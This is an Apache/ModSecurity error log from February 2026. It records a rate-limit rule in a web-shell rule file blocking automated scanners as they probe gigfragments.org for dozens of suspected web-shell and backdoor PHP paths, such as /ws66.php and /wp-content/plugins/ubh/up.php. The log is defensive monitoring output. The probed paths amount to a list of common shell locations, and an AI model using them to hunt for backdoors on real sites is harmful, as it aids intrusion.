[Sun Feb 22 23:19:59.629071 2026] [:error] [pid 2473:tid 2480] [client 158.158.123.50:26755] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/155.php"] [unique_id "aZsen3ptAeV7-XzzNzgzWwAAAAM"]
[Sun Feb 22 23:20:00.467417 2026] [:error] [pid 2628:tid 2641] [client 158.158.123.50:51658] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/155.php"] [unique_id "aZseoLK4woMTeUPH2nszKgAAAQo"]
[Sun Feb 22 23:20:00.952898 2026] [:error] [pid 2475:tid 2556] [client 158.158.123.50:44953] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/155.php"] [unique_id "aZseoCdme8TSKYpXujdoBAAAAJA"]
[Sun Feb 22 23:20:01.531859 2026] [:error] [pid 2629:tid 2666] [client 158.158.123.50:51693] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/155.php"] [unique_id "aZseoQlsXSV5M4mfwZ9RZgAAAUg"]
[Sun Feb 22 23:20:02.364895 2026] [:error] [pid 3103:tid 3109] [client 158.158.123.50:47992] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kbfr.php"] [unique_id "aZseopfzX5hBIaQY93N2hAAAAYM"]
[Sun Feb 22 23:20:03.641356 2026] [:error] [pid 2574:tid 2600] [client 158.158.123.50:44895] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kbfr.php"] [unique_id "aZseo8kPV7h4nTf-jiTeLgAAANM"]
[Sun Feb 22 23:20:04.306701 2026] [:error] [pid 2473:tid 2499] [client 158.158.123.50:49800] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kbfr.php"] [unique_id "aZsepHptAeV7-XzzNzgzaAAAABY"]
[Sun Feb 22 23:20:04.813991 2026] [:error] [pid 2475:tid 2552] [client 158.158.123.50:40656] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kbfr.php"] [unique_id "aZsepCdme8TSKYpXujdoCgAAAIw"]
[Sun Feb 22 23:20:05.640365 2026] [:error] [pid 2473:tid 2484] [client 158.158.123.50:51676] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "aZsepXptAeV7-XzzNzgzaQAAAAc"]
[Sun Feb 22 23:20:06.403339 2026] [:error] [pid 2629:tid 2677] [client 158.158.123.50:44873] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "aZsepglsXSV5M4mfwZ9RcQAAAVM"]
[Sun Feb 22 23:20:07.298551 2026] [:error] [pid 2473:tid 2498] [client 158.158.123.50:26815] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "aZsep3ptAeV7-XzzNzgzcAAAABU"]
[Sun Feb 22 23:20:08.196249 2026] [:error] [pid 2475:tid 2521] [client 158.158.123.50:41104] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "aZseqCdme8TSKYpXujdoDgAAAIA"]
[Sun Feb 22 23:20:09.519574 2026] [:error] [pid 2475:tid 2527] [client 158.158.123.50:41096] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff1.php"] [unique_id "aZseqSdme8TSKYpXujdoEgAAAII"]
[Sun Feb 22 23:20:11.039732 2026] [:error] [pid 2629:tid 2672] [client 158.158.123.50:31561] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff1.php"] [unique_id "aZseqwlsXSV5M4mfwZ9RegAAAU4"]
[Sun Feb 22 23:20:12.729625 2026] [:error] [pid 2474:tid 2525] [client 158.158.123.50:23323] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff1.php"] [unique_id "aZserPhvE7P5hX_xKnSwGgAAAEo"]
[Sun Feb 22 23:20:14.005752 2026] [:error] [pid 2473:tid 2486] [client 158.158.123.50:27988] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff1.php"] [unique_id "aZsernptAeV7-XzzNzgzewAAAAk"]
[Sun Feb 22 23:20:14.930490 2026] [:error] [pid 2475:tid 2538] [client 158.158.123.50:41114] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws66.php"] [unique_id "aZseridme8TSKYpXujdoGQAAAIY"]
[Sun Feb 22 23:20:15.671896 2026] [:error] [pid 2629:tid 2665] [client 158.158.123.50:31609] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws66.php"] [unique_id "aZserwlsXSV5M4mfwZ9RgAAAAUc"]
[Sun Feb 22 23:20:16.306942 2026] [:error] [pid 3103:tid 3113] [client 158.158.123.50:27991] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws66.php"] [unique_id "aZsesJfzX5hBIaQY93N2igAAAYc"]
[Sun Feb 22 23:20:16.837427 2026] [:error] [pid 2473:tid 2497] [client 158.158.123.50:50135] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws66.php"] [unique_id "aZsesHptAeV7-XzzNzgzfAAAABQ"]
[Sun Feb 22 23:20:17.545479 2026] [:error] [pid 3103:tid 3120] [client 158.158.123.50:31570] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aZsesZfzX5hBIaQY93N2jAAAAY4"]
[Sun Feb 22 23:20:18.055377 2026] [:error] [pid 2629:tid 2665] [client 158.158.123.50:49840] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aZsesglsXSV5M4mfwZ9RigAAAUc"]
[Sun Feb 22 23:20:18.684074 2026] [:error] [pid 3103:tid 3106] [client 158.158.123.50:25021] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aZsespfzX5hBIaQY93N2kgAAAYA"]
[Sun Feb 22 23:20:19.325796 2026] [:error] [pid 2629:tid 2673] [client 158.158.123.50:23325] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aZseswlsXSV5M4mfwZ9RjgAAAU8"]
[Sun Feb 22 23:20:20.029496 2026] [:error] [pid 2629:tid 2659] [client 158.158.123.50:48712] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/knme.php"] [unique_id "aZsetAlsXSV5M4mfwZ9RkQAAAUE"]
[Sun Feb 22 23:20:21.085372 2026] [:error] [pid 2629:tid 2671] [client 158.158.123.50:28011] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/knme.php"] [unique_id "aZsetQlsXSV5M4mfwZ9RlgAAAU0"]
[Sun Feb 22 23:20:21.993170 2026] [:error] [pid 2574:tid 2586] [client 158.158.123.50:23341] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/knme.php"] [unique_id "aZsetckPV7h4nTf-jiTeRQAAAMU"]
[Sun Feb 22 23:20:22.772565 2026] [:error] [pid 2629:tid 2681] [client 158.158.123.50:23312] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/knme.php"] [unique_id "aZsetglsXSV5M4mfwZ9RmgAAAVc"]
[Sun Feb 22 23:20:23.501433 2026] [:error] [pid 2473:tid 2496] [client 158.158.123.50:27983] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin-footer.php"] [unique_id "aZset3ptAeV7-XzzNzgzgQAAABM"]
[Sun Feb 22 23:20:24.098006 2026] [:error] [pid 2574:tid 2597] [client 158.158.123.50:48728] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin-footer.php"] [unique_id "aZseuMkPV7h4nTf-jiTeRgAAANA"]
[Sun Feb 22 23:20:25.150850 2026] [:error] [pid 2628:tid 2632] [client 158.158.123.50:23301] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin-footer.php"] [unique_id "aZseubK4woMTeUPH2nszXwAAAQE"]
[Sun Feb 22 23:20:25.892606 2026] [:error] [pid 2574:tid 2605] [client 158.158.123.50:23339] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin-footer.php"] [unique_id "aZseuckPV7h4nTf-jiTeSAAAANg"]
[Sun Feb 22 23:20:27.627425 2026] [:error] [pid 2475:tid 2561] [client 158.158.123.50:31099] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aZseuydme8TSKYpXujdoJQAAAJU"]
[Sun Feb 22 23:20:28.789968 2026] [:error] [pid 2629:tid 2660] [client 158.158.123.50:40657] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aZsevAlsXSV5M4mfwZ9RogAAAUI"]
[Sun Feb 22 23:20:30.143396 2026] [:error] [pid 2628:tid 2633] [client 158.158.123.50:46875] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aZsevrK4woMTeUPH2nszaAAAAQI"]
[Sun Feb 22 23:20:32.678624 2026] [:error] [pid 2475:tid 2564] [client 158.158.123.50:48716] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aZsewCdme8TSKYpXujdoLgAAAJg"]
[Sun Feb 22 23:20:35.701130 2026] [:error] [pid 2574:tid 2593] [client 158.158.123.50:47987] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ajax.php"] [unique_id "aZsew8kPV7h4nTf-jiTeUgAAAMw"]
[Sun Feb 22 23:20:38.294742 2026] [:error] [pid 2473:tid 2480] [client 158.158.123.50:23132] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ajax.php"] [unique_id "aZsexnptAeV7-XzzNzgzjgAAAAM"]
[Sun Feb 22 23:20:58.727303 2026] [:error] [pid 2473:tid 2501] [client 158.158.123.50:46855] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "aZse2nptAeV7-XzzNzgzswAAABg"]
[Sun Feb 22 23:21:00.466407 2026] [:error] [pid 2474:tid 2545] [client 158.158.123.50:28404] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "aZse3PhvE7P5hX_xKnSwSgAAAFg"]
[Sun Feb 22 23:21:01.833426 2026] [:error] [pid 2474:tid 2514] [client 158.158.123.50:42778] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "aZse3fhvE7P5hX_xKnSwTQAAAEU"]
[Sun Feb 22 23:21:03.407554 2026] [:error] [pid 2473:tid 2494] [client 158.158.123.50:44417] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "aZse33ptAeV7-XzzNzgzugAAABE"]
[Sun Feb 22 23:21:05.032450 2026] [:error] [pid 2629:tid 2680] [client 158.158.123.50:40848] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "aZse4QlsXSV5M4mfwZ9R2AAAAVY"]
[Sun Feb 22 23:21:06.350320 2026] [:error] [pid 3103:tid 3115] [client 158.158.123.50:45592] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "aZse4pfzX5hBIaQY93N2yAAAAYk"]
[Sun Feb 22 23:21:07.773866 2026] [:error] [pid 2474:tid 2537] [client 158.158.123.50:45573] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "aZse4_hvE7P5hX_xKnSwWQAAAFE"]
[Sun Feb 22 23:21:08.579205 2026] [:error] [pid 2473:tid 2497] [client 158.158.123.50:40891] [client 158.158.123.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "aZse5HptAeV7-XzzNzgzxAAAABQ"]
[Sun Feb 22 23:33:48.169160 2026] [:error] [pid 3103:tid 3129] [client 185.137.164.20:21605] [client 185.137.164.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/f35.php"] [unique_id "aZsh3JfzX5hBIaQY93N_HwAAAZc"]
[Sun Feb 22 23:33:48.698731 2026] [:error] [pid 3103:tid 3114] [client 185.137.164.14:53875] [client 185.137.164.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/f35.php"] [unique_id "aZsh3JfzX5hBIaQY93N_LAAAAYg"]
[Sun Feb 22 23:33:49.297829 2026] [:error] [pid 2474:tid 2515] [client 185.137.164.13:37923] [client 185.137.164.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/f35.php"] [unique_id "aZsh3fhvE7P5hX_xKnS4WAAAAEY"]
[Sun Feb 22 23:33:55.929813 2026] [:error] [pid 2474:tid 2518] [client 185.137.164.15:37227] [client 185.137.164.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/hello.php"] [unique_id "aZsh4_hvE7P5hX_xKnS4kgAAAEc"]
[Sun Feb 22 23:34:09.857534 2026] [:error] [pid 2574:tid 2600] [client 185.137.164.17:46165] [client 185.137.164.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/zMousse/otuz1.php"] [unique_id "aZsh8ckPV7h4nTf-jiTnUQAAANM"]
[Sun Feb 22 23:34:18.305899 2026] [:error] [pid 2574:tid 2593] [client 185.137.164.13:21603] [client 185.137.164.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/ubh/up.php"] [unique_id "aZsh-skPV7h4nTf-jiTnjgAAAMw"]
[Sun Feb 22 23:34:18.837606 2026] [:error] [pid 2474:tid 2520] [client 185.137.164.21:42809] [client 185.137.164.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/ubh/up.php"] [unique_id "aZsh-vhvE7P5hX_xKnS5iwAAAEg"]
[Sun Feb 22 23:34:24.276888 2026] [:error] [pid 2473:tid 2490] [client 185.137.164.20:54261] [client 185.137.164.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/bootstrap.php"] [unique_id "aZsiAHptAeV7-XzzNzg_MQAAAA0"]
[Sun Feb 22 23:34:24.821104 2026] [:error] [pid 2628:tid 2632] [client 185.137.164.17:41641] [client 185.137.164.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/bootstrap.php"] [unique_id "aZsiALK4woMTeUPH2ns9ZwAAAQE"]
[Sun Feb 22 23:34:25.373335 2026] [:error] [pid 2475:tid 2556] [client 185.137.164.15:38735] [client 185.137.164.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/bootstrap.php"] [unique_id "aZsiASdme8TSKYpXujdySAAAAJA"]
